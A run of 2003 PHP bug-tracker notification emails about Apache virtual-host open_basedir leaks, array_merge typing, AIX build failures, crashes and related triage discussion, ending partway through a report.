ID: 25601 User updated by: leiter at ifup dot net Reported By: leiter at ifup dot net -Status: Open +Status: Duplicate Bug Type: Apache2 related Operating System: Linux PHP Version: 4.3.3 New Comment: Sorry, seems to be a duplicate of #25417. Previous Comments: [2003-09-19 05:02:06] leiter at ifup dot net Description: I'm running Apache 2.0.47 with prefork mpm under Linux. If I access example.org and example.com at the same time I get this errormessage: Warning: Unknown(): open_basedir restriction in effect. File(/var/www/example.com/index.php) is not within the allowed path(s): (/var/www/example.org) in Unknown on line 0 Warning: Unknown(/var/www/example.com/index.php): failed to open stream: Operation not permitted in Unknown on line 0 Warning: (null)(): Failed opening '/var/www/example.com/index.php' for inclusion (include_path='.:/opt/php4/lib/php') in Unknown on line 0 Note that example.com gets the limits for example.org. Reproduce code: --- VirtualHost ip:80 DocumentRoot /var/www/example.com ServerName example.com ServerAlias www.example.com RewriteEngine on # some rewrite rules here. shouldn't matter php_flag register_globals on /VirtualHost VirtualHost ip:80 DocumentRoot /var/www/example.org ServerName www.example.org ServerAlias example.org php_flag register_globals on php_admin_flag safe_mode on php_admin_value safe_mode_exec_dir /opt/apache2/safemode_exec php_admin_value open_basedir /var/www/example.org /VirtualHost Expected result: example.com should not be affected by restrictions for example.org! This only happens if the pages are requested at the same time, otherwise it works. Looks like a race condition. I'm not sure if this is a PHP or Apache2 bug. -- Edit this bug report at http://bugs.php.net/?id=25601edit=1
#25494 [Opn-Bgs]: array_merge allowing false as argument (silent when non-array is passed)
ID: 25494 Updated by: [EMAIL PROTECTED] Reported By: enygma at phpdeveloper dot org -Status: Open +Status: Bogus Bug Type: Arrays related Operating System: Any PHP Version: 4.3.2 New Comment: This current behavior is correct. *array*_merge merges arrays, not booleans, or ints, or strings. Silently converting those to arrays makes no sense, and is quite confusing. Also, relying on an undocumented feature is not our problem, but the users'. Previous Comments: [2003-09-19 08:25:32] [EMAIL PROTECTED] This behaviour IS documented for array_splice. This behaviour IS documented in the type juggling chapter of the PHP manual. Additionally, it's the standard way for PHP to handle arguments of the `wrong' type: It casts. You don't consider it a bug that floor(3.2) returns float(3), do you? But you consider it a bug that array_merge() casts to array if it doesn't get one? Major inconsistency there. [2003-09-18 15:06:06] [EMAIL PROTECTED] It can't break BC if the behaviour was undocumented and hence undefined. So either document the behaviour or fix the bug. Anybody relying on undocumented 'features' should know they're at risk for having those behaviours changed. J [2003-09-18 06:45:48] [EMAIL PROTECTED] It's still inconsistent, and `will throw a warning and fail in 5 for non-array arguments' will break BC without a need for it. [2003-09-18 06:08:03] [EMAIL PROTECTED] Throwing an E_NOTICE error is not breaking anything. [2003-09-18 05:56:38] [EMAIL PROTECTED] This `fix' is inconsistent with array_splice, which allows you to add non-array arguments. (This is also documented.) Also, this `fix' breaks BC. Is this really needed? I'd rather have those functions convert non-array arguments into arrays and then perform their operations like array_splice() does. This has to be documented of course. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/25494 -- Edit this bug report at http://bugs.php.net/?id=25494edit=1
#25494 [Bgs]: array_merge allowing false as argument (silent when non-array is passed)
ID: 25494 Updated by: [EMAIL PROTECTED] Reported By: enygma at phpdeveloper dot org Status: Bogus Bug Type: Arrays related Operating System: Any PHP Version: 4.3.2 New Comment: Merging a single element into an array does make sense. *array*_merge merges arrays, not booleans, or ints, or strings. Then why str_repeat(10,10) repeats the int? Previous Comments: [2003-09-19 10:36:13] [EMAIL PROTECTED] This current behavior is correct. *array*_merge merges arrays, not booleans, or ints, or strings. Silently converting those to arrays makes no sense, and is quite confusing. Also, relying on an undocumented feature is not our problem, but the users'. [2003-09-19 08:25:32] [EMAIL PROTECTED] This behaviour IS documented for array_splice. This behaviour IS documented in the type juggling chapter of the PHP manual. Additionally, it's the standard way for PHP to handle arguments of the `wrong' type: It casts. You don't consider it a bug that floor(3.2) returns float(3), do you? But you consider it a bug that array_merge() casts to array if it doesn't get one? Major inconsistency there. [2003-09-18 15:06:06] [EMAIL PROTECTED] It can't break BC if the behaviour was undocumented and hence undefined. So either document the behaviour or fix the bug. Anybody relying on undocumented 'features' should know they're at risk for having those behaviours changed. J [2003-09-18 06:45:48] [EMAIL PROTECTED] It's still inconsistent, and `will throw a warning and fail in 5 for non-array arguments' will break BC without a need for it. [2003-09-18 06:08:03] [EMAIL PROTECTED] Throwing an E_NOTICE error is not breaking anything. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/25494 -- Edit this bug report at http://bugs.php.net/?id=25494edit=1
#14245 [Com]: make install fails on apxs
ID: 14245 Comment by: klaus at kgem dot de Reported By: david-shafer at uiowa dot edu Status: Closed Bug Type: Compile Failure Operating System: AIX 4.3.3 PHP Version: 4.3.0-dev New Comment: I experience the same problem. It is neither fixed in php 4.3.3 nor in the most current snapshot. Can anybody help? [/usr/+/src/php4-stable] make install Installing PHP CLI binary:/usr/local/bin/ Installing PHP CLI man page: /usr/local/man/man1/ Installing PHP SAPI module: apache2handler /usr/local/apache2/build/instdso.sh SH_LIBTOOL='/usr/local/apache2/build/libtool' libphp4.la /usr/local/apache2/modules rm -f /usr/local/apache2/modules/libphp4.so /usr/local/apache2/build/libtool --mode=install cp libphp4.la /usr/local/apache2/modules/ cp .libs/libphp4.a /usr/local/apache2/modules/libphp4.a cp .libs/libphp4.lai /usr/local/apache2/modules/libphp4.la libtool: install: warning: remember to run `libtool --finish /usr/local/src/php4-stable/libs' chmod 755 /usr/local/apache2/modules/libphp4.so chmod: /usr/local/apache2/modules/libphp4.so: A file or directory in the path name does not exist. apxs:Error: Command failed with rc=65536 . make: *** [install-sapi] Error 1 Previous Comments: [2003-02-25 00:43:59] [EMAIL PROTECTED] This bug has been fixed in CVS. In case this was a PHP problem, snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. In case this was a documentation problem, the fix will show up soon at http://www.php.net/manual/. In case this was a PHP.net website problem, the change will show up on the PHP.net site and on the mirror sites in short time. Thank you for the report, and for helping us make PHP better. It works now perfectly when using GCC. Please test that it also works with the other CC too. [2002-11-26 04:57:08] sfrasca at deda dot com I have a workaround about this bag. I have installed php 4.2.3 under Oracle AS9i on AIX 4.3.3. The libphp4.so not is created by make because the libtool have a flag set to no. The libtool is created by configure; before you launch make, edit libtool and set build_libtool_libs=yes. After launched make, under .libs you find libphp4.so.0:move it under libs as libphp4.so and run make install. So, php as apache module work fine. [2002-09-30 17:12:31] steve at oseda dot missouri dot edu Same problem. AIX 4.3.3.10, GCC 2.95, PHP 4.2.3, Gnu Make 3.79 ** Making install in . make[1]: Entering directory `/oseda/php-4.2.3' /oseda/php-4.2.3/build/shtool mkdir -p /usr/local/apache/libexec /usr/local/apache/bin/apxs -S LIBEXECDIR=/usr/local/apache/libexec -i -a -n php4 libs/libphp4.so [activating module `php4' in /usr/local/apache/conf/httpd.conf] cp libs/libphp4.so /usr/local/apache/libexec/libphp4.so cp: libs/libphp4.so: A file or directory in the path name does not exist. apxs:Break: Command failed with rc=1 make[1]: *** [install-sapi] Error 1 make[1]: Leaving directory `/oseda/php-4.2.3' make: *** [install-recursive] Error 1 ** The directory libs has libphp4.a and libphp4.la only, the directory .libs has libphp4.a, .exp, .lai and .so.0 in it. [2002-07-11 11:23:11] [EMAIL PROTECTED] This is not fixed. But we know what the problem is and hope to get it solved for 4.3.0 release. [2002-07-11 04:38:59] [EMAIL PROTECTED] There were a lot of fixes done to the build system, the best way to check it is to try for yourself. I suggest you try the latest snapshot @ http://snaps.php.net/php4-latest.tar.gz Derick The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/14245 -- Edit this bug report at http://bugs.php.net/?id=14245edit=1
#25605 [NEW]: Virus Warning
From: robert at accettura dot com Operating system: ALL PHP version: 4.3.3 PHP Bug Type: *General Issues Bug description: Virus Warning Description: Symantec just issued this a little while ago: http://securityresponse.symantec.com/avcenter/venc/data/php.virdrus.html Might be good to put on the home page and let others know about this. Expected result: See mention on homepage. Actual result: -- No news update. -- Edit bug report at http://bugs.php.net/?id=25605edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=25605r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=25605r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=25605r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=25605r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=25605r=needtrace Try newer version: http://bugs.php.net/fix.php?id=25605r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=25605r=support Expected behavior: http://bugs.php.net/fix.php?id=25605r=notwrong Not enough info:http://bugs.php.net/fix.php?id=25605r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=25605r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=25605r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=25605r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=25605r=dst IIS Stability: http://bugs.php.net/fix.php?id=25605r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=25605r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=25605r=float
#25605 [Opn-Bgs]: Virus Warning
ID: 25605 Updated by: [EMAIL PROTECTED] Reported By: robert at accettura dot com -Status: Open +Status: Bogus Bug Type: *General Issues Operating System: ALL PHP Version: 4.3.3 New Comment: Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. As entertaining as win32 viruses are, this is not a PHP bug and therefor this is not an appropriate medium for such an announcement. Previous Comments: [2003-09-19 11:20:06] robert at accettura dot com Description: Symantec just issued this a little while ago: http://securityresponse.symantec.com/avcenter/venc/data/php.virdrus.html Might be good to put on the home page and let others know about this. Expected result: See mention on homepage. Actual result: -- No news update. -- Edit this bug report at http://bugs.php.net/?id=25605edit=1
#25607 [NEW]: Crash of PHP 4.3.x, having a big array
From: php at burnsystems dot de Operating system: Win XP PHP version: 4.3.3 PHP Bug Type: Reproducible crash Bug description: Crash of PHP 4.3.x, having a big array Description: Servus, I got a crash of 4.3.x under Apache and direct call of php.exe under windows, when the script creates a huge array. When $nAmount has a value over 32768 PHP and Apache crashes. Any suggestions or help, how to get a better description of this problem. Is it the same as following bug?? Bug #23872: reference to same variable(array) crash web server Thanks, Martin Brenn Reproduce code: --- ... script language=php $nAmount = 10; $szPlayerID = 'x'; for ( $nCounter = 0; $nCounter $nAmount; $nCounter++ ) { echo ( $nCounter . \r ); $aszExtracted [ $szPlayerID ] [ $nUnit ] ['type' ] = $aszUnit [ 'type' ]; $aszExtracted [ $szPlayerID ] [ $nUnit ] [ 'job' ] = $aszUnit [ 'job' ]; $nUnit++; } /script .. Expected result: No crash Actual result: -- Die Anweisung in 0x100b35ef verweist auf Speicher in 0x8. Der Vorgang written konnte nicht auf dem Speicher durchgeführt werden. The command in 0x100b35ef refers to memory in 0x008. The operation written couldn't be completed (or so). My VC++ only reported these line, I don't have a debug build. PHP4TS: 100B35DD 75 03jne 100B35E2 100B35DF 89 6B 14 mov dword ptr [ebx+14h],ebp 100B35E2 8B 43 10 mov eax,dword ptr [ebx+10h] 100B35E5 85 C0testeax,eax 100B35E7 75 03jne 100B35EC 100B35E9 89 6B 10 mov dword ptr [ebx+10h],ebp 100B35EC 8B 43 1C mov eax,dword ptr [ebx+1Ch] 100B35EF 89 2C B0 mov dword ptr [eax+esi*4],ebp - 100B35F2 A1 2C F5 13 10 mov eax,[1013F52C] 100B35F7 85 C0testeax,eax 100B35F9 74 02je 100B35FD 100B35FB FF D0calleax 100B35FD 8B 53 08 mov edx,dword ptr [ebx+8] 100B3600 8B 0Bmov ecx,dword ptr [ebx] 100B3602 42 inc edx 100B3603 8B C2mov eax,edx 100B3605 89 53 08 mov dword ptr [ebx+8],edx 100B3608 3B C1cmp eax,ecx 100B360A 76 09jbe 100B3615 100B360C 53 pushebx 100B360D E8 5E 05 00 00 call100B3B70 -- Edit bug report at http://bugs.php.net/?id=25607edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=25607r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=25607r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=25607r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=25607r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=25607r=needtrace Try newer version: http://bugs.php.net/fix.php?id=25607r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=25607r=support Expected behavior: http://bugs.php.net/fix.php?id=25607r=notwrong Not enough info:http://bugs.php.net/fix.php?id=25607r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=25607r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=25607r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=25607r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=25607r=dst IIS Stability: http://bugs.php.net/fix.php?id=25607r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=25607r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=25607r=float
#25266 [Fbk-Opn]: connection_status() ( see bug #22072 ).
ID: 25266 User updated by: avarnals at zigg dot net Reported By: avarnals at zigg dot net -Status: Feedback +Status: Open Bug Type: Apache2 related Operating System: Linux 2.4.21 PHP Version: 4.3.3 New Comment: I have just tested http://snaps.php.net/php4-STABLE-latest.tar.gz as both a CGI program and Apache 2 module. In both cases, PHP still continues to run after the browser's stop button has been used despite setting ignore_user_abort ( false ); Previous Comments: [2003-09-18 20:50:47] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip [2003-08-27 08:53:45] avarnals at zigg dot net No, user abort was what I was testing for. Please read my report more carefully. [2003-08-26 23:37:39] [EMAIL PROTECTED] Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php User abort applies only if the user stop page loading, having a php reach execution timeout will not trigger abort. [2003-08-26 22:05:10] avarnals at zigg dot net Description: See bug #22072. Since the above is now closed, I am creating this entry. Please accept my apologies if it would have been better added to 22072 instead. I wasn't aware of this potential problem until I saw it in the change log for 4.3.3, so I thought I'd test it. Something is still not right. I'm using PHP 4.3.3 with Apache 2.0.47. My first test was to see whether ignore_user_abort() works as expected. I used the very simple: ignore_user_abort ( false ); while ( 1 ); This makes it easy to spot in the process list using 'top'. I tested both using PHP as a dynamically loaded Apache module and the CGI binary. The latter had safe mode enabled, the former didn't; I don't know whether this can/should make any difference. In both cases the script continued to execute after I clicked on the browser's stop button and until its PHP enforced time limit was reached. I then went on to test ( using only the Apache module ) using the code suggested in bug report 22072: http://www.mpfreescene.com/test/?option=source As rather expected now, this continued to execute after I'd used the stop button. I went on to test by modifying the code as follows: - I set set_time_limit(15); so it would eventually be aborted by this limit. - I made $m very large. - Have the result of connection_status() written to a file each time round the loop. - I removed the sleep() call. I ran the script and used the stop button while it was running. It continued to execute until it had used 15 seconds of CPU time. Log file shows: httpd: PHP Fatal error: Maximum execution time of 15 seconds exceeded in... The final ( large ) output file contained all zeros and a final 2. So, it seems that PHP correctly detects and reports the case of a timeout, but not an abort. I noticed one other possibly odd thing while doing this. If PHP has output buffering enabled, the call to flush() results in the script being immediately shut down ( execution doesn't get to the line following flush() ). The result of connection_status() when called in exitfp() is then 1. If the flush() call is removed, the results as previously described are the same whether or not output buffering is enabled. I hope someone can make sense of all this! Do let me know if you would like any further information. -- Edit this bug report at http://bugs.php.net/?id=25266edit=1
#25597 [Fbk-Opn]: fastcgi + pfsockopen = crash
ID: 25597 User updated by: dietrich dot ayala at foundstone dot com Reported By: dietrich dot ayala at foundstone dot com -Status: Feedback +Status: Open Bug Type: CGI related Operating System: windows 2000 PHP Version: 4.3.3 New Comment: My apologies for leaving out an important detail: This only occurrs when using SSL. I cannot reproduce this issue using unencrypted communication. Since there still exists a problem with dynamically linking OpenSSL in the 4.x tree, I have asked EdinK to compile a new php4ts.dll with OpenSSL. Once that's available, I'll test using the latest. Thanks! Previous Comments: [2003-09-18 20:30:12] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip [2003-09-18 16:46:12] dietrich dot ayala at foundstone dot com Description: first time loading the reproduction script works fine. subsequent reloads will first cause php.exe to crash (The instruction at 0x100108b4 referenced memory at 0x. The memory could not be read.), then once I hit OK on that alert, I'll get a Server Error, unable to connect to fastcgi server. error in the browser. We've found that this error text is in the FastCGI source. It looks like maybe php crashes, then fastcgi attempts to access a php thread that has gone bye-bye, and throws that error. So there may be 2 issues: what's causing the original php crash, and then the fastcgi problem. Here's how to repro: - environment: win2k, IIS, FastCGI, PHP 4.3.2/.3 (I repro'd w/ both) - set up a test script, such as a phpinfo script - configure the repro script to hit your host, port, path_to_test_script and load it, then hit refresh (sometimes, I'll have to restart w3svc to be able to repro the bug) notes: - this does not occur if using fsockopen, only with pfsockopen - i could not reproduce this with windows XP, only windows 2000 (both server and professional) Reproduce code: --- http://dietrich.ganx4.com/phpbug_iis.phps Expected result: it should output the URL it's attempting to connect to. Actual result: -- first time loading the reproduction script works fine. subsequent reloads will first cause php.exe to crash (The instruction at 0x100108b4 referenced memory at 0x. The memory could not be read.), then once I hit OK on that alert, I'll get a Server Error, unable to connect to fastcgi server. error in the browser. -- Edit this bug report at http://bugs.php.net/?id=25597edit=1
#25609 [NEW]: feature request: sess_url_rewrite
From: underley at underley dot eu dot org Operating system: any PHP version: 4.3.3 PHP Bug Type: Feature/Change Request Bug description: feature request: sess_url_rewrite Description: I think, that rewrite url function to add session id can be very helpful -- Edit bug report at http://bugs.php.net/?id=25609edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=25609r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=25609r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=25609r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=25609r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=25609r=needtrace Try newer version: http://bugs.php.net/fix.php?id=25609r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=25609r=support Expected behavior: http://bugs.php.net/fix.php?id=25609r=notwrong Not enough info:http://bugs.php.net/fix.php?id=25609r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=25609r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=25609r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=25609r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=25609r=dst IIS Stability: http://bugs.php.net/fix.php?id=25609r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=25609r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=25609r=float
#23580 [Com]: Random values for include_path
ID: 23580 Comment by: php at techmeridian dot com Reported By: maximiliano dot marques at bol dot com dot br Status: Open Bug Type: Apache related Operating System: Conectiva Linux 8 Kernel 2.4.19 PHP Version: 4.3.3RC5-dev New Comment: Is there any action towards a resolution of this bug? I will do just about anything to help get this bug resolved... Previous Comments: [2003-09-03 11:08:27] php at techmeridian dot com So what can we do to help out now? I would love to help in any other way possible, but I guess we just need some direction in what and how to help now? [2003-09-01 11:28:58] [EMAIL PROTECTED] no luck, I created my own test environment but was unable to reproduce this problem. [2003-09-01 11:26:34] php at techmeridian dot com Any luck looking at the files we sent? We are looking into the code as well, but it is taking us a very long time to get into the core... Thanks [2003-08-26 23:35:15] [EMAIL PROTECTED] I got the files, thank you. [2003-08-22 22:25:26] [EMAIL PROTECTED] Please start by reducing your configs (php.ini / httpd.conf / etc) to bare minimum with which you still can reproduce this reliably. (I would guess this should be possible to reproduce with only 2 virtualhosts) php.ini: Remove all settings which you have not touched Then send me those files. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/23580 -- Edit this bug report at http://bugs.php.net/?id=23580edit=1
#25600 [Opn-Bgs]: .php/ makes an interesting things
ID: 25600 Updated by: [EMAIL PROTECTED] Reported By: milp at milp dot sk -Status: Open +Status: Bogus Bug Type: Unknown/Other Function Operating System: Windows XP PHP Version: 4.3.2 New Comment: Not enough information was provided for us to be able to handle this bug. Please re-read the instructions at http://bugs.php.net/how-to-report.php If you can provide more information, feel free to add it to this bug and change the status back to Open. Thank you for your interest in PHP. Read about the magic of PATH_INFO. Previous Comments: [2003-09-19 04:44:40] milp at milp dot sk First of all, excuse me my English. By mistake I wrote into the ie browser instead of the url address http://www.milp.sk/links.php the address http://www.milp.sk/links.php/ (as you can see the slash '/' is redundant). The interesting is that my site was loaded but without the images. Second, if you click on the link located at the site for ex. on download.php than a server tried to load the address http://www.milp.sk/links.php/download.php which of course doesn't exist. Probably it isn't a bug in php but it also doesn't doing a good impression. If you know more about this problem please write me to my email. Thanks. Regards, Milan Pavuk [2003-09-19 04:42:44] milp at milp dot sk Description: First of all, excuse me my English. By mistake I wrote into the ie browser instead of the url address http://www.milp.sk/links.php the address http://www.milp.sk/links.php/ (as you can see the slash '/' is redundant). The interesting is that my site was loaded but without the images. Second, if you click on the link located at the site for ex. on download.php than a server tried to load the address http://www.milp.sk/links.php/download.php which of course doesn't exist. Probably it isn't a bug in php but it also doesn't doing a good impression. If you know more about this problem please write me to my email [EMAIL PROTECTED] Thanks. Regards, Milan Pavuk PS. The problem also noticeable when you type http://www.milp.sk/show.php/?type=galleriespart=artpage=1 -- Edit this bug report at http://bugs.php.net/?id=25600edit=1
#24282 [Opn-Bgs]: Strange Open Base Dir Restriction Errors
ID: 24282 Updated by: [EMAIL PROTECTED] Reported By: matzrek at shw-networks dot de -Status: Open +Status: Bogus Bug Type: Apache related Operating System: Suse Linux 8.2 / Apache 1.3.27 PHP Version: 4.3.2 New Comment: Please do not submit the same bug more than once. An existing bug report already describes this very problem. Even if you feel that your issue is somewhat different, the resolution is likely to be the same. Because of this, we hope you add your comments to the existing bug instead. Thank you for your interest in PHP. Duplicate of bug #23580 Previous Comments: [2003-09-19 04:13:06] siminka at gmx dot de Same thing here with auto_prepend_file (Apache 2.0.47, PHP 4.3.3) - default httpd.conf and php-ini.dist. Two vhosts - VirtualHost *:80 ServerName domain1.tld DocumentRoot /var/www/domain1.tld php_value auto_prepend_file global.php /VirtualHost VirtualHost *:80 ServerName domain2.tld DocumentRoot /var/www/domain2.tld /VirtualHost ...one with auto_prepend_file, one without. Sometimes the auto_prepend_file of domain1.tld is prepended for the vhost of domain2.tld. When adding 'php_value auto_prepend_file none' to the domain2.tld vhost, the problem is gone. Really annoying bug! [2003-08-26 00:43:14] red at raven dot ch seems to be the same or similar thing: bug #25198 I realised the same issue as dprado at floripa dot com dot br mentioned... [2003-08-15 11:07:33] [EMAIL PROTECTED] I say again: We need to get the httpd.conf, etc. with which you HAVE been experiencing this problem. Read my previous comment. [2003-08-15 09:52:48] dprado at floripa dot com dot br Samething happens here. PHP 4.3.2, the bug only shows randomly when accessing virtualhosts that DO NOT have open_basedir set on a machine that has other vhosts with open_basedir set. Taking a wild guess, it seems that an apache thread that server up a page for a vhost with openbasedir set when it tries to serve a page for another vhost whithout openbasedir it keeps the openbasedir settings. Setting open_basedir for all vhosts solved the problem. [2003-08-05 11:17:30] [EMAIL PROTECTED] Try this in the other vhosts: php_admin_value open_basedir none The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/24282 -- Edit this bug report at http://bugs.php.net/?id=24282edit=1
#25590 [Opn-Bgs]: Using Apache2 deflate_module with sesssions
ID: 25590 Updated by: [EMAIL PROTECTED] Reported By: andreas dot goetz at accenture dot com -Status: Open +Status: Bogus Bug Type: Apache2 related Operating System: Win2K PHP Version: 4.3.3 New Comment: Sorry, but your problem does not imply a bug in PHP itself. For a list of more appropriate places to ask for help using PHP, please visit http://www.php.net/support.php as this bug system is not the appropriate forum for asking support questions. Thank you for your interest in PHP. Sounds like a server mis-configuration issue, not a PHP bug. When php creates session files it does not set spefic permissions on them, the permissions are the default permissions in your system. Previous Comments: [2003-09-19 04:54:46] andreas dot goetz at accenture dot com My mistake, sorry. The problem is not module_deflate related. I've found that the php session files on c:/temp are readonly. This is not happening on my other machine. Removing the read only checkmark from the file fixes the problem. Any ideas? Thanks a lot, Andi [2003-09-19 04:10:48] andreas dot goetz at accenture dot com No, issue is gone without deflate_module. Andi [2003-09-18 20:44:19] [EMAIL PROTECTED] Does the problem occur without deflate_module? [2003-09-18 10:43:28] andreas dot goetz at accenture dot com Description: I've configure apache2 to compress html files. This leads to the well-known php error on session_start: Cannot send session cache limiter. I understand apache2 support is still experimental. If I can help testing, I can provide the apache config and php code. Cheers, Andreas -- Edit this bug report at http://bugs.php.net/?id=25590edit=1
#25583 [Opn-Asn]: Incorrect handling of absolute path without drive.
ID: 25583 Updated by: [EMAIL PROTECTED] Reported By: d dot stogov at turck dot spb dot eu -Status: Open +Status: Assigned Bug Type: Directory function related Operating System: Windows PHP Version: 4.3.3 -Assigned To: +Assigned To: iliaa Previous Comments: [2003-09-18 04:05:37] d dot stogov at turck dot spb dot eu Description: This BUG is Windows releated. PHP thinks what filepathes started form one slash are relative. The problem comes from IS_ABSOLUTE_PATH definw which is defined in file TSRM/tsrm_virtual_cwd.h line 64. The original source is #define IS_ABSOLUTE_PATH(path, len) \ (len = 2 ((isalpha(path[0]) path[1] == ':') || (IS_SLASH(path[0]) IS_SLASH(path[1] but I think it must be changed to #define IS_ABSOLUTE_PATH(path, len) \ ((len = 2 isalpha(path[0]) path[1] == ':') || \ (len = 1 IS_SLASH(path[0]) IS_SLASH(path[1]))) I demonstrate the BUG of the glob() function, but it can occur in any place where IS_ABSOLUTE_PATH is used. Reproduce code: --- ?php function remove_drive($file) { return substr($file,2); } if (substr(PHP_OS,0,3) == WIN) { $drive = substr(getcwd(),0,2); $a1 = glob(/*); $a2 = array_map(remove_drive,glob($drive./*)); if ($a1==$a2) { echo ok; } else { echo fail; } } else { echo ok; } ? Expected result: ok Actual result: -- fail -- Edit this bug report at http://bugs.php.net/?id=25583edit=1
#24786 [Com]: xslt_set_encoding still not available
ID: 24786 Comment by: mloftis at wgops dot com Reported By: happycloud at undream dot com Status: No Feedback Bug Type: XSLT related Operating System: Linux 2.4 PHP Version: 4.3.3RC1 New Comment: This is with the current version. The issue is this, the -ljs and other libs tested earlier by the config.m4 file ARE NOT used during the calls to check teh Sablot libs for SetEncoding and GetOptions calls. Thsi bug STILL exists in 4.3.3 and is the reason why (on my system at atleast) they don't get compiled in unless i manually hit main/php_config.h with vi and change the undef to #define. I can open a new bug if you guys want. email me if more details are needed. Previous Comments: [2003-08-01 06:09:15] [EMAIL PROTECTED] No feedback was provided. The bug is being suspended because we assume that you are no longer experiencing the problem. If this is not the case and you are able to provide the information that was requested earlier, please do so and change the status of the bug back to Open. Thank you. [2003-07-27 14:05:50] [EMAIL PROTECTED] Please give the information I requested. [2003-07-26 00:16:31] happycloud at undream dot com If I use the -x option I get nothing. Batch xml? But sabcmd myxml myxsl gives correct output. As in sablotron's faq, I added different encodings to my xml and xsl. This is the only way I know to test. xsl: ?xml version=1.0? xsl:stylesheet version=1.0 xmlns:xsl=http://www.w3.org/1999/XSL/Transform; xsl:output indent=no encoding=ISO-8859-1/ snip--- xm;: ?xml version=1.0 encoding=UTF-8? Not sure if this is the best way to test. I certainly get no errors. joshua myxml---snip--- [2003-07-25 17:09:07] [EMAIL PROTECTED] Can you please also make sure that you indeed compiled Sablotron with iconv support, i.e. try sabcmd -x your.xml your.xsl? I have been fighting with Sablotron and iconv on Solaris today (to no avail so far), and although I never had problems with that on Linux, it might give a hint to the problem's cause. [2003-07-24 06:26:07] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip And if this fails with the snapshot, check the config.log for 'SablotSetEncoding' and any errors after that check. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/24786 -- Edit this bug report at http://bugs.php.net/?id=24786edit=1
#25553 [Opn-Csd]: No email address in errorlog call crashes apache
ID: 25553 Updated by: [EMAIL PROTECTED] Reported By: jason at pirkplace dot com -Status: Open +Status: Closed Bug Type: Reproducible crash Operating System: WinXP SP1 PHP Version: 4.3.3 New Comment: Does not crash with latest CVS snapshot for me. You propbaly didn't install it correctly. Previous Comments: [2003-09-18 19:29:31] robert at profundis dot se Still did not work for me -- I just replaced the current php directory with the files from the stable release. You'll also need to replace php4ts.dll that exists in your Windows directory. Do a search for 'php' in this directory and subdirectories, and make sure all dlls are concurrent. If you running PHP as an Apache module, and have the module in Apache's own modules direcory, you need to replace php4apach2.dll there as well. [2003-09-17 09:46:58] jason at pirkplace dot com Still did not work for me -- I just replaced the current php directory with the files from the stable release. I am using SWAMP so not sure just replacing php directory will work. [2003-09-16 23:46:48] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php4-STABLE-latest.tar.gz For Windows: http://snaps.php.net/win32/php4-win32-STABLE-latest.zip [2003-09-16 00:10:41] jason at pirkplace dot com Please find the windows error log files that are generated when this crash occurs at: http://www.pirkplace.com/php/bugs/bug_25553.html [2003-09-15 23:45:37] jason at pirkplace dot com Description: Call to error_log with output to email and no email address specified crashes Apache2 webserver. Please see logs from Apache below. Hardware: 2.0GHz Celeron with 512MB RAM OS: WinXP Pro SP1 Apache: Apache 2.0.43 PHP : 4.3.3 Also Reported in Bug #6631 Still an issue. Reproduce code: --- error_log(An Error log entry,1,); Expected result: no crash Actual 